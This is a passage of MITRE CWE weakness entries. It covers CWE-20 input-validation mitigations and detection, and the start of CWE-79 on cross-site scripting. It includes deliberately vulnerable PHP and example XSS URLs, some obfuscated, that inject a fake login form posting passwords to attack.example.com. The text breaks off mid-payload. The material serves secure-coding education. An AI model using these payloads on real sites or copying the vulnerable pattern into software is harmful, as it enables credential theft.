Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness: High

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
+ Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis.

A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.746CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.

Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInput validation and representation
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
CERT C Secure CodingERR07-CPrefer functions that support error checking over equivalent functions that don't
CERT C Secure CodingFIO30-CCWE More AbstractExclude user input from format strings
CERT C Secure CodingMEM10-CDefine and use a pointer validation function
WASC20Improper Input Handling
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-166] Jim Manico. "Input Validation with ESAPI - Very Important". 2008-08-15. <http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-168] Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". Input Validation Attacks. McGraw-Hill. 2006-06-05.
[REF-48] Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. <http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html>.
[REF-170] Kevin Beaver. "The importance of input validation". 2006-09-06. <http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 10, "All Input Is Evil!" Page 341. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1109] "LANGSEC: Language-theoretic Security". <http://langsec.org/>.
[REF-1110] "LangSec: Recognition, Validation, and Compositional Correctness for Real World Security". <http://langsec.org/bof-handout.pdf>.
[REF-1111] Sergey Bratus, Lars Hermerschmidt, Sven M. Hallberg, Michael E. Locasto, Falcon D. Momot, Meredith L. Patterson and Anna Shubina. "Curing the Vulnerable Parser: Design Patterns for Secure Input Handling". USENIX ;login:. 2017. <https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-197 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-03-10CWE Content TeamMITRE
updated Description, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Relationships, Research_Gaps, Terminology_Notes
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations, Research_Gaps, Terminology_Notes
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-03-29CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationship_Notes
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2020-06-25CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes
2020-08-20CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2021-03-15CWE Content TeamMITRE
updated Description, Potential_Mitigations
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Insufficient Input Validation

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79
Abstraction: Base
Structure: Simple
Status: Stable
Presentation Filter:
+ Description
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
+ Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

  1. Untrusted data enters a web application, typically from a web request.
  2. The web application dynamically generates a web page that contains this untrusted data.
  3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
  4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
  5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
  6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

  • Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
  • Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
  • Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

+ Alternate Terms
XSS:
"XSS" is a common abbreviation for Cross-Site Scripting.
HTML Injection:
"HTML injection" is used as a synonym of stored (Type 2) XSS.
CSS:
In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.81Improper Neutralization of Script in an Error Message Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.83Improper Neutralization of Script in Attributes in a Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.84Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.85Doubled Character XSS Manipulations
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.87Improper Neutralization of Alternate XSS Syntax
ParentOfChainChain - a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.692Incomplete Denylist to Cross-Site Scripting
PeerOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.352Cross-Site Request Forgery (CSRF)
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Background Details
Same Origin Policy

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

Domain

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Class: Web Based (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

(bad code)
Example Language: PHP 
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(result)
 
<div class="header"> Welcome, <div id="stealPassword"> Please Login:

<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)
 
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(attack code)
 
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
